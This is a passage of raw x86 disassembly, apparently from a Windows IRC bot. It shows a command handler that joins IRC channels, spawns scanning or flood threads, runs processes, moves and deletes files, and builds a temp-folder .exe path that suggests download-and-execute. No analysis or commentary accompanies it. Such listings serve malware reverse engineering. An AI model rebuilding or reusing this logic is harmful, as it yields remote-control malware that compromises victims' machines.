push 78h
push esi
call sub_40E610
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_2F0], eax
jmp loc_4095FA
; ---------------------------------------------------------------------------
loc_409526: ; CODE XREF: sub_4077FD+1CF7j
; sub_4077FD+1CFCj
cmp [ebp+var_8CF], bl
jnz short loc_409548
cmp [ebp+var_8CE], bl
jnz short loc_409548
cmp [ebp+var_8BE], bl
jnz short loc_409548
push offset unk_41F09C
jmp loc_40A4F9
; ---------------------------------------------------------------------------
loc_409548: ; CODE XREF: sub_4077FD+1D2Fj
; sub_4077FD+1D37j ...
push 10h
lea eax, [ebp+arg_0]
pop esi
push eax
lea eax, [ebp+var_D8]
push eax
mov [ebp+arg_0], esi
push [ebp+arg_4]
call dword_42D820 ; getsockname
mov al, [ebp+var_8CF]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_D4], eax
push [ebp+var_D4]
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_430]
push eax
call sub_40C720
add esp, 0Ch
cmp [ebp+var_8BE], bl
jz short loc_4095F4
xor eax, eax
cmp [ebp+var_8CF], bl
push 30h
setnz al
inc eax
inc eax
mov esi, eax
lea eax, [ebp+var_430]
push eax
call sub_40EA30
pop ecx
cmp esi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_4095E8
loc_4095C6: ; CODE XREF: sub_4077FD+1DE9j
cmp eax, ebx
jz short loc_4095E8
mov byte ptr [eax], 78h
lea eax, [ebp+var_430]
push 30h
push eax
call sub_40EA30
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, esi
jl short loc_4095C6
loc_4095E8: ; CODE XREF: sub_4077FD+1DC7j
; sub_4077FD+1DCBj
mov [ebp+var_2F0], 1
jmp short loc_4095FA
; ---------------------------------------------------------------------------
loc_4095F4: ; CODE XREF: sub_4077FD+1DA1j
mov [ebp+var_2F0], ebx
loc_4095FA: ; CODE XREF: sub_4077FD+1D24j
; sub_4077FD+1DF5j
mov eax, [ebp+arg_4]
push [ebp+var_9C]
mov [ebp+var_320], eax
mov eax, [ebp+var_4]
mov [ebp+var_2F8], eax
mov eax, [ebp+var_8]
mov [ebp+var_2F4], eax
mov esi, 80h
lea eax, [ebp+var_420]
push esi
push eax
call sub_40D3F7
mov edi, [ebp+edi+var_8C]
add esp, 0Ch
cmp edi, ebx
jz short loc_40964E
loc_40963B: ; CODE XREF: sub_4077FD+1E74j
push edi
loc_40963C: ; CODE XREF: sub_4077FD+1E5Ej
lea eax, [ebp+var_3A0]
push esi
push eax
call sub_40D3F7
add esp, 0Ch
jmp short loc_409679
; ---------------------------------------------------------------------------
loc_40964E: ; CODE XREF: sub_4077FD+1E3Cj
mov eax, [ebp+arg_18]
cmp eax, ebx
jz short loc_40965D
cmp byte ptr [eax], 23h
jnz short loc_40965D
push eax
jmp short loc_40963C
; ---------------------------------------------------------------------------
loc_40965D: ; CODE XREF: sub_4077FD+1E56j
; sub_4077FD+1E5Bj
mov edi, offset aPrv_1 ; "#prv##"
push offset byte_4242F0
push edi
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_40963B
mov [ebp+var_3A0], bl
loc_409679: ; CODE XREF: sub_4077FD+1E4Fj
cmp [ebp+var_2F0], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_40968B
mov eax, offset aSequential ; "Sequential"
loc_40968B: ; CODE XREF: sub_4077FD+1E87j
push [ebp+var_304]
lea ecx, [ebp+var_430]
push [ebp+var_314]
push [ebp+var_318]
push [ebp+var_31C]
push ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_41F020
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 7
push eax
call sub_40C062
add esp, 2Ch
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_430]
push ebx
push eax
push offset sub_401704
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_40971C
call dword_418044 ; RtlGetLastWin32Error
push eax
push offset unk_41EFE8
jmp loc_408FEC
; ---------------------------------------------------------------------------
loc_409714: ; CODE XREF: sub_4077FD+1F25j
push 32h
call dword_418040 ; Sleep
loc_40971C: ; CODE XREF: sub_4077FD+1F04j
cmp [ebp+var_2EC], ebx
jz short loc_409714
jmp loc_408FFB
; ---------------------------------------------------------------------------
loc_409729: ; CODE XREF: sub_4077FD+16E2j
; sub_4077FD+16F7j
push [ebp+arg_10]
call dword_42D8B4 ; inet_addr
push [ebp+arg_18]
mov [ebp+var_6C4], eax
call sub_40D9BF
push [ebp+arg_0]
mov [ebp+var_6D0], eax
call sub_40D9BF
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_9C]
mov [ebp+var_6CC], eax
lea eax, [ebp+var_750]
mov [ebp+var_754], esi
push eax
call sub_40C720
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_6BC], edi
push [ebp+var_6CC]
mov [ebp+var_6B8], eax
push [ebp+var_6D0]
push [ebp+var_6C4]
call dword_42D900 ; inet_ntoa
push eax
lea eax, [ebp+var_2E4]
push offset unk_41EFAC
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 7
push eax
call sub_40C062
add esp, 20h
mov [ebp+var_6C8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_754]
push ebx
push eax
push offset sub_4068AE
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_6C8]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_409810
call dword_418044 ; RtlGetLastWin32Error
push eax
push offset unk_41EFE8
jmp loc_409B2A
; ---------------------------------------------------------------------------
loc_409808: ; CODE XREF: sub_4077FD+2019j
push 32h
call dword_418040 ; Sleep
loc_409810: ; CODE XREF: sub_4077FD+1FF8j
cmp [ebp+var_6B4], ebx
jz short loc_409808
jmp loc_409B39
; ---------------------------------------------------------------------------
loc_40981D: ; CODE XREF: sub_4077FD+16B8j
; sub_4077FD+16CDj
push [ebp+arg_10]
call sub_40D9BF
push 7Fh
mov [ebp+var_300], eax
push [ebp+arg_18]
lea eax, [ebp+var_404]
push eax
call sub_40C720
push [ebp+arg_0]
call sub_40D9BF
push [ebp+var_9C]
mov esi, [ebp+arg_4]
mov [ebp+var_304], eax
lea eax, [ebp+var_384]
push 80h
push eax
mov [ebp+var_40C], esi
call sub_40D3F7
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_2F0], eax
push [ebp+var_304]
lea eax, [ebp+var_404]
mov [ebp+var_2F4], edi
push eax
push [ebp+var_300]
push esi
call sub_4058DC
pop ecx
push eax
lea eax, [ebp+var_2E4]
push offset unk_41EF6C
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push 0Fh
push eax
call sub_40C062
add esp, 24h
mov [ebp+var_2FC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_40C]
push ebx
push eax
push offset sub_406055
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_2FC]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_40990B
call dword_418044 ; RtlGetLastWin32Error
push eax
push offset unk_41EF28
jmp loc_409B2A
; ---------------------------------------------------------------------------
loc_409903: ; CODE XREF: sub_4077FD+2114j
push 32h
call dword_418040 ; Sleep
loc_40990B: ; CODE XREF: sub_4077FD+20F3j
cmp [ebp+var_2EC], ebx
jz short loc_409903
jmp loc_409B39
; ---------------------------------------------------------------------------
loc_409918: ; CODE XREF: sub_4077FD+168Ej
; sub_4077FD+16A3j
mov esi, 0FFh
lea eax, [ebp+var_508]
push esi
push [ebp+arg_10]
push eax
call sub_40C720
push esi
lea eax, [ebp+var_408]
push [ebp+arg_18]
push eax
call sub_40C720
push [ebp+arg_0]
mov [ebp+var_304], ebx
call sub_40D9BF
mov [ebp+var_300], eax
mov eax, [ebp+edi+var_94]
add esp, 1Ch
cmp eax, ebx
jz short loc_409973
push 10h
push ebx
push eax
call sub_40E2CB
add esp, 0Ch
mov [ebp+var_2F8], eax
jmp short loc_409979
; ---------------------------------------------------------------------------
loc_409973: ; CODE XREF: sub_4077FD+2160j
mov [ebp+var_2F8], ebx
loc_409979: ; CODE XREF: sub_4077FD+2174j
mov edi, [ebp+edi+var_90]
cmp edi, ebx
jz short loc_409993
push edi
call sub_40D9BF
pop ecx
mov [ebp+var_2FC], eax
jmp short loc_409999
; ---------------------------------------------------------------------------
loc_409993: ; CODE XREF: sub_4077FD+2185j
mov [ebp+var_2FC], ebx
loc_409999: ; CODE XREF: sub_4077FD+2194j
movzx eax, [ebp+var_8CB]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_9C]
mov [ebp+var_2F4], eax
lea eax, [ebp+var_588]
mov [ebp+var_58C], esi
push eax
call sub_40C720
push [ebp+arg_18]
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov [ebp+var_2F0], eax
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
mov [ebp+var_2EC], edi
push offset unk_41EEF8
push eax
call sub_40C6C3
push esi
lea eax, [ebp+var_2E4]
push 14h
push eax
call sub_40C062
add esp, 28h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_58C]
push ebx
push eax
push offset sub_4032EE
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_409A4C
call dword_418044 ; RtlGetLastWin32Error
push eax
push offset unk_41EEB8
jmp loc_409B2A
; ---------------------------------------------------------------------------
loc_409A44: ; CODE XREF: sub_4077FD+2255j
push 32h
call dword_418040 ; Sleep
loc_409A4C: ; CODE XREF: sub_4077FD+2234j
cmp [ebp+var_2E8], ebx
jz short loc_409A44
jmp loc_409B39
; ---------------------------------------------------------------------------
loc_409A59: ; CODE XREF: sub_4077FD+1664j
; sub_4077FD+1679j
push 7Fh
lea eax, [ebp+var_4F4]
pop esi
push esi
push [ebp+arg_10]
push eax
call sub_40C720
push esi
lea eax, [ebp+var_474]
push [ebp+arg_18]
push eax
call sub_40C720
push esi
lea eax, [ebp+var_3F4]
push [ebp+arg_0]
push eax
call sub_40C720
push esi
lea eax, [ebp+var_374]
push [ebp+var_9C]
push eax
call sub_40C720
push [ebp+arg_0]
mov eax, [ebp+var_8]
mov edi, [ebp+var_4]
mov esi, [ebp+arg_4]
push [ebp+arg_18]
mov [ebp+var_2EC], eax
lea eax, [ebp+var_2E4]
mov [ebp+var_2F0], edi
push [ebp+arg_10]
mov [ebp+var_4F8], esi
push offset dword_41EE88
push eax
call sub_40C6C3
add esp, 44h
lea eax, [ebp+var_2E4]
push ebx
push 0Ah
push eax
call sub_40C062
add esp, 0Ch
mov [ebp+var_2F4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_4F8]
push ebx
push eax
push offset sub_40B359
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_2F4]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_409B5F
call dword_418044 ; RtlGetLastWin32Error
push eax
push offset dword_41EE50
loc_409B2A: ; CODE XREF: sub_4077FD+2006j
; sub_4077FD+2101j ...
lea eax, [ebp+var_2E4]
push eax
call sub_40C6C3
add esp, 0Ch
loc_409B39: ; CODE XREF: sub_4077FD+201Bj
; sub_4077FD+2116j ...
cmp [ebp+var_8], ebx
jnz loc_40AC9D
push ebx
push edi
loc_409B44: ; CODE XREF: sub_4077FD+1A8Ej
lea eax, [ebp+var_2E4]
push eax
push [ebp+var_9C]
push esi
jmp loc_409018
; ---------------------------------------------------------------------------
loc_409B57: ; CODE XREF: sub_4077FD+2368j
push 32h
call dword_418040 ; Sleep
loc_409B5F: ; CODE XREF: sub_4077FD+231Fj
cmp [ebp+var_2E8], ebx
jz short loc_409B57
jmp short loc_409B39
; ---------------------------------------------------------------------------
loc_409B69: ; CODE XREF: sub_4077FD+1628j
; sub_4077FD+163Dj
push [ebp+arg_18]
push [ebp+arg_10]
call dword_4180FC ; MoveFileA
test eax, eax
jz short loc_409B9A
push [ebp+arg_18]
lea eax, [ebp+var_2E4]
push [ebp+arg_10]
push offset unk_41EE28
push 200h
push eax
call sub_40D3F7
add esp, 14h
jmp short loc_409BB9
; ---------------------------------------------------------------------------
loc_409B9A: ; CODE XREF: sub_4077FD+237Aj
push offset dword_41EE18
call sub_40530E
push eax
lea eax, [ebp+var_2E4]
push 200h
push eax
call sub_40D3F7
add esp, 10h
loc_409BB9: ; CODE XREF: sub_4077FD+239Bj
; sub_4077FD+2C84j ...
cmp [ebp+var_8], ebx
jnz short loc_409BDA
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_409BDA: ; CODE XREF: sub_4077FD+F2Dj
; sub_4077FD+23BFj ...
xor esi, esi
inc esi
loc_409BDD: ; CODE XREF: sub_4077FD+2B64j
; sub_4077FD+2BA1j ...
lea eax, [ebp+var_2E4]
push eax
call sub_403145
pop ecx
loc_409BEA: ; CODE XREF: sub_4077FD+1C3j
; sub_4077FD+1DFj ...
mov eax, esi
jmp loc_407C53
; ---------------------------------------------------------------------------
loc_409BF1: ; CODE XREF: sub_4077FD+15FEj
; sub_4077FD+1613j
push 44h
lea eax, [ebp+var_5EC]
pop esi
push esi
push ebx
push eax
call sub_40CC40
push [ebp+arg_10]
xor edi, edi
inc edi
mov [ebp+var_5EC], esi
mov [ebp+var_5C0], edi
mov word ptr [ebp+var_5BC], bx
call sub_40D9BF
add esp, 10h
cmp eax, edi
jnz short loc_409C30
mov word ptr [ebp+var_5BC], 5
loc_409C30: ; CODE XREF: sub_4077FD+2428j
cmp [ebp+var_C], ebx
jz loc_40A33D
push [ebp+arg_18]
push [ebp+var_C]
call sub_40E4B0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40A33D
lea eax, [ebp+var_D8]
push eax
lea eax, [ebp+var_5EC]
push eax
push ebx
push ebx
push 28h
push edi
push ebx
push ebx
push esi
push ebx
call dword_418078 ; CreateProcessA
test eax, eax
lea eax, [ebp+var_2E4]
jnz short loc_409C89
push offset unk_41EDF0
loc_409C7C: ; CODE XREF: sub_4077FD+2C5Bj
push eax
call sub_40C6C3
pop ecx
pop ecx
jmp loc_40A33D
; ---------------------------------------------------------------------------
loc_409C89: ; CODE XREF: sub_4077FD+2478j
push esi
push offset dword_41EDD4
loc_409C8F: ; CODE XREF: sub_4077FD+3897j
push eax
call sub_40C6C3
loc_409C95: ; CODE XREF: sub_4077FD+32ADj
add esp, 0Ch
jmp loc_40A33D
; ---------------------------------------------------------------------------
loc_409C9D: ; CODE XREF: sub_4077FD+15D4j
; sub_4077FD+15E9j
push [ebp+arg_18]
push offset aKtsFinal ; "KTS-Final"
call sub_40D860
mov esi, [ebp+arg_4]
pop ecx
test eax, eax
pop ecx
jz loc_409E1D
lea eax, [ebp+var_7B0]
push eax
push 104h
call dword_4180C4 ; GetTempPathA
push 0FFh
lea eax, [ebp+var_508]
push [ebp+arg_10]
push eax
call sub_40C720
lea eax, [ebp+var_E4]
push eax
call sub_40649F
push eax
lea eax, [ebp+var_7B0]
push eax
lea eax, [ebp+var_408]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_40C6C3
mov eax, [ebp+edi+var_98]
add esp, 20h
cmp eax, ebx
mov [ebp+var_304], 1
mov [ebp+var_300], ebx
jz short loc_409D34
push 10h
push ebx
push eax
call sub_40E2CB
add esp, 0Ch
mov [ebp+var_2F8], eax
jmp short loc_409D3A
; ---------------------------------------------------------------------------
loc_409D34: ; CODE XREF: sub_4077FD+2521j
mov [ebp+var_2F8], ebx
loc_409D3A: ; CODE XREF: sub_4077FD+2535j
mov edi, [ebp+edi+var_94]
cmp edi, ebx
jz short loc_409D54
push edi
call sub_40D9BF
pop ecx
mov [ebp+var_2FC], eax
jmp short loc_409D5A
; ---------------------------------------------------------------------------
loc_409D54: ; CODE XREF: sub_4077FD+2546j
mov [ebp+var_2FC], ebx
loc_409D5A: ; CODE XREF: sub_4077FD+2555j
movzx eax, [ebp+var_8CB]
push 7Fh
mov [ebp+var_2F4], eax
push [ebp+var_9C]
lea eax, [ebp+var_588]
mov [ebp+var_58C], esi
push eax
call sub_40C720
mov eax, [ebp+var_4]
push [ebp+arg_10]
mov [ebp+var_2EC], eax
mov eax, [ebp+var_8]
mov [ebp+var_2F0], eax
lea eax, [ebp+var_2E4]
push offset unk_41ED98
push eax
call sub_40C6C3
push esi
lea eax, [ebp+var_2E4]
push 15h
push eax
call sub_40C062
add esp, 24h
mov [ebp+var_308], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_58C]
push ebx
push eax
push offset sub_4032EE
push ebx
push ebx
call dword_418048 ; CreateThread
mov ecx, [ebp+var_308]
imul ecx, 234h
cmp eax, ebx
mov dword_42F41C[ecx], eax
jnz short loc_409E13
call dword_418044 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2E4]
push offset unk_41ED58
push eax
call sub_40C6C3
add esp, 0Ch
jmp short loc_409E30
; ---------------------------------------------------------------------------
loc_409E0B: ; CODE XREF: sub_4077FD+261Cj
push 32h
call dword_418040 ; Sleep
loc_409E13: ; CODE XREF: sub_4077FD+25EFj
cmp [ebp+var_2E8], ebx
jz short loc_409E0B
jmp short loc_409E30
; ---------------------------------------------------------------------------
loc_409E1D: ; CODE XREF: sub_4077FD+24B4j
lea eax, [ebp+var_2E4]
push offset unk_41ED10
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_409E30: ; CODE XREF: sub_4077FD+260Cj
; sub_4077FD+261Ej
cmp [ebp+var_8], ebx
jnz loc_40A35E
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push esi
jmp loc_40A356
; ---------------------------------------------------------------------------
loc_409E50: ; CODE XREF: sub_4077FD+15AAj
; sub_4077FD+15BFj
push [ebp+var_A0]
push offset dword_41F85C
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_407C50
cmp [ebp+var_C], ebx
jz loc_407C50
push [ebp+arg_18]
push [ebp+var_C]
call sub_40E4B0
push eax
lea eax, [ebp+var_2E4]
push [ebp+var_9C]
push [ebp+var_A0]
push [ebp+var_A4]
push offset dword_41ECFC
push eax
call sub_40C6C3
lea eax, [ebp+var_2E4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_40C720
push [ebp+arg_10]
call sub_40D9BF
add esp, 30h
test eax, eax
jle short loc_409EDB
push [ebp+arg_10]
call sub_40D9BF
imul eax, 3E8h
pop ecx
push eax
call dword_418040 ; Sleep
loc_409EDB: ; CODE XREF: sub_4077FD+26C6j
mov eax, [ebp+arg_24]
inc eax
jmp loc_407C53
; ---------------------------------------------------------------------------
loc_409EE4: ; CODE XREF: sub_4077FD+1580j
; sub_4077FD+1595j
push [ebp+var_A0]
push offset dword_41F85C
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_407C50
cmp [ebp+var_C], ebx
jz loc_40B19B
mov edi, [ebp+arg_18]
push edi
push [ebp+var_C]
call sub_40E4B0
inc edi
push offset aRepeat ; "repeat"
push edi
mov esi, eax
call sub_40D860
add esp, 10h
test eax, eax
push esi
lea eax, [ebp+var_2E4]
jz short loc_409FA2
push [ebp+var_9C]
push [ebp+var_A0]
push [ebp+var_A4]
push offset dword_41ECFC
push eax
call sub_40C6C3
lea eax, [ebp+var_2E4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_40C720
push esi
lea eax, [ebp+var_2E4]
push offset dword_41ECE0
push eax
call sub_40C6C3
lea eax, [ebp+var_2E4]
push eax
call sub_403145
push [ebp+arg_10]
call sub_40D9BF
add esp, 38h
test eax, eax
jle loc_40B19B
push [ebp+arg_10]
call sub_40D9BF
add eax, [ebp+arg_24]
pop ecx
jmp loc_407C53
; ---------------------------------------------------------------------------
loc_409FA2: ; CODE XREF: sub_4077FD+2730j
push offset unk_41ECA8
jmp loc_40A286
; ---------------------------------------------------------------------------
loc_409FAC: ; CODE XREF: sub_4077FD+1556j
; sub_4077FD+156Bj
cmp [ebp+var_C], ebx
jz loc_40B19B
push [ebp+arg_10]
push [ebp+var_C]
call sub_40E4B0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40B19B
push eax
push offset dword_41EC9C
loc_409FD0: ; CODE XREF: sub_4077FD+2DB1j
; sub_4077FD+2DBEj ...
push [ebp+arg_4]
call sub_40450F
jmp loc_40AF41
; ---------------------------------------------------------------------------
loc_409FDD: ; CODE XREF: sub_4077FD+152Cj
; sub_4077FD+1541j
push [ebp+var_A0]
push offset dword_41F85C
call sub_40D860
pop ecx
test eax, eax
pop ecx
jz loc_407C50
push [ebp+arg_18]
push offset dword_41EC90
push [ebp+arg_4]
call sub_40450F
push [ebp+arg_10]
call sub_40D9BF
imul eax, 3E8h
add esp, 10h
push eax
call dword_418040 ; Sleep
push [ebp+edi+var_98]
push [ebp+arg_18]
loc_40A029: ; CODE XREF: sub_4077FD+2DCDj
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40450F
jmp loc_40AA53
; ---------------------------------------------------------------------------
loc_40A03B: ; CODE XREF: sub_4077FD+1502j
; sub_4077FD+1517j
cmp [ebp+var_C], ebx
jz loc_40B19B
push [ebp+arg_10]
call sub_40CBC0
push esi
mov edi, eax
call sub_40CBC0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+edi+2]
push eax
call sub_40E4B0
add esp, 10h
cmp eax, ebx
jz loc_40B19B
push eax
lea eax, [ebp+var_2E4]
push offset dword_41EC84
push eax
call sub_40C6C3
push ebx
lea eax, [ebp+var_2E4]
push ebx
push eax
push [ebp+arg_10]
loc_40A08D: ; CODE XREF: sub_4077FD+1C1Bj
push [ebp+arg_4]
call sub_404555
add esp, 20h
jmp loc_40B19B
; ---------------------------------------------------------------------------
loc_40A09D: ; CODE XREF: sub_4077FD+14D8j
; sub_4077FD+14EDj
cmp [ebp+var_C], ebx
jz loc_40B19B
push [ebp+arg_10]
call sub_40CBC0
push esi
mov edi, eax
call sub_40CBC0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+edi+2]
push eax
call sub_40E4B0
add esp, 10h
cmp eax, ebx
jz loc_40B19B
push ebx
push ebx
push eax
push [ebp+arg_10]
jmp loc_40AD32
; ---------------------------------------------------------------------------
loc_40A0DC: ; CODE XREF: sub_4077FD+14AEj
; sub_4077FD+14C3j
cmp [ebp+var_C], ebx
jz loc_407C50
push [ebp+arg_18]
push [ebp+var_C]
call sub_40E4B0
pop ecx
cmp eax, ebx
pop ecx
jz loc_407C50
push eax
push [ebp+arg_10]
call sub_40304D
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset unk_41EC64
push eax
call sub_40C6C3
add esp, 14h
jmp loc_408FFB
; ---------------------------------------------------------------------------
loc_40A11F: ; CODE XREF: sub_4077FD+1472j
; sub_4077FD+1487j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_40E4B0
pop ecx
test eax, eax
pop ecx
jz loc_40B19B
mov edi, [ebp+edi+var_9C]
cmp edi, ebx
jz short loc_40A1BA
push edi
push [ebp+var_C]
call sub_40E4B0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2E4]
jz short loc_40A1A8
push esi
push [ebp+var_9C]
push [ebp+var_A0]
push [ebp+var_A4]
push offset dword_41ECFC
push eax
call sub_40C6C3
lea eax, [ebp+var_2E4]
push 1FFh
push eax
push [ebp+arg_0]
call sub_40C720
push esi
lea eax, [ebp+var_2E4]
push [ebp+arg_10]
push offset unk_41EC3C
push eax
call sub_40C6C3
add esp, 34h
inc [ebp+arg_24]
jmp loc_40A2F5
; ---------------------------------------------------------------------------
loc_40A1A8: ; CODE XREF: sub_4077FD+2957j
push offset unk_41EC08
push eax
call sub_40C6C3
pop ecx
pop ecx
jmp loc_40A2F5
; ---------------------------------------------------------------------------
loc_40A1BA: ; CODE XREF: sub_4077FD+2940j
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40BABB
add esp, 0Ch
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset dword_41EBEC
push 200h
push eax
call sub_40D3F7
add esp, 24h
jmp loc_40A2F5
; ---------------------------------------------------------------------------
loc_40A203: ; CODE XREF: sub_4077FD+1448j
; sub_4077FD+145Dj
push offset aR ; "r"
push [ebp+arg_10]
call sub_40DDC8
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
lea eax, [ebp+var_2E4]
jz short loc_40A27E
mov esi, 200h
push edi
push esi
push eax
call sub_40E9CE
add esp, 0Ch
jmp short loc_40A25B
; ---------------------------------------------------------------------------
loc_40A230: ; CODE XREF: sub_4077FD+2A60j
push 1
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
push edi
lea eax, [ebp+var_2E4]
push esi
push eax
call sub_40E9CE
add esp, 20h
loc_40A25B: ; CODE XREF: sub_4077FD+2A31j
test eax, eax
jnz short loc_40A230
push edi
call sub_40D9CA
push [ebp+arg_10]
lea eax, [ebp+var_2E4]
push offset unk_41EBC4
push eax
call sub_40C6C3
add esp, 10h
jmp short loc_40A2F5
; ---------------------------------------------------------------------------
loc_40A27E: ; CODE XREF: sub_4077FD+2A1Fj
push [ebp+arg_10]
push offset unk_41EBA0
loc_40A286: ; CODE XREF: sub_4077FD+27AAj
push eax
call sub_40C6C3
add esp, 0Ch
jmp short loc_40A2D4
; ---------------------------------------------------------------------------
loc_40A291: ; CODE XREF: sub_4077FD+141Ej
; sub_4077FD+1433j
cmp [ebp+var_C], ebx
jz loc_40B19B
push [ebp+arg_10]
push [ebp+var_C]
call sub_40E4B0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40B19B
push eax
call sub_4053D3
test eax, eax
pop ecx
lea eax, [ebp+var_2E4]
jnz short loc_40A2C7
push offset unk_41EB80
jmp short loc_40A2CC
; ---------------------------------------------------------------------------
loc_40A2C7: ; CODE XREF: sub_4077FD+2AC1j
push offset dword_41EB64
loc_40A2CC: ; CODE XREF: sub_4077FD+2AC8j
push eax
call sub_40C6C3
pop ecx
pop ecx
loc_40A2D4: ; CODE XREF: sub_4077FD+2A92j
cmp [ebp+var_8], ebx
jnz short loc_40A2F5
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
loc_40A2F5: ; CODE XREF: sub_4077FD+29A6j
; sub_4077FD+29B8j ...
lea eax, [ebp+var_2E4]
push eax
loc_40A2FC: ; CODE XREF: sub_4077FD+1104j
call sub_403145
pop ecx
jmp loc_40B19B
; ---------------------------------------------------------------------------
loc_40A307: ; CODE XREF: sub_4077FD+13F4j
; sub_4077FD+1409j
push [ebp+arg_10]
call dword_4180E8 ; DeleteFileA
test eax, eax
jz short loc_40A31E
push [ebp+arg_10]
push offset dword_41EB48
jmp short loc_40A329
; ---------------------------------------------------------------------------
loc_40A31E: ; CODE XREF: sub_4077FD+2B15j
push offset dword_41EE18
call sub_40530E
push eax
loc_40A329: ; CODE XREF: sub_4077FD+2B1Fj
lea eax, [ebp+var_2E4]
push 200h
push eax
call sub_40D3F7
loc_40A33A: ; CODE XREF: sub_4077FD+2C4Bj
add esp, 10h
loc_40A33D: ; CODE XREF: sub_4077FD+2436j
; sub_4077FD+244Dj ...
cmp [ebp+var_8], ebx
jnz short loc_40A35E
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
loc_40A356: ; CODE XREF: sub_4077FD+264Ej
call sub_404555
add esp, 14h
loc_40A35E: ; CODE XREF: sub_4077FD+2636j
; sub_4077FD+2B43j ...
mov esi, [ebp+arg_24]
jmp loc_409BDD
; ---------------------------------------------------------------------------
loc_40A366: ; CODE XREF: sub_4077FD+13CAj
; sub_4077FD+13DFj
push [ebp+arg_10]
call sub_40D9BF
push eax
call sub_40601E
xor esi, esi
pop ecx
inc esi
pop ecx
push [ebp+arg_10]
cmp eax, esi
lea eax, [ebp+var_2E4]
jnz short loc_40A38D
push offset unk_41EB24
jmp short loc_40A392
; ---------------------------------------------------------------------------
loc_40A38D: ; CODE XREF: sub_4077FD+2B87j
push offset unk_41EAF0
loc_40A392: ; CODE XREF: sub_4077FD+2B8Ej
push eax
call sub_40C6C3
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_409BDD
push ebx
lea eax, [ebp+var_2E4]
push [ebp+var_4]
push eax
push [ebp+var_9C]
push [ebp+arg_4]
call sub_404555
add esp, 14h
jmp loc_409BDD
; ---------------------------------------------------------------------------
loc_40A3C5: ; CODE XREF: sub_4077FD+13A0j
; sub_4077FD+13B5j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_405D93
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_40A3EB
push offset unk_41EACC
jmp loc_40B08E
; ---------------------------------------------------------------------------
loc_40A3EB: ; CODE XREF: sub_4077FD+2BE2j
push offset unk_41EA9C
jmp loc_40B08E
; ---------------------------------------------------------------------------
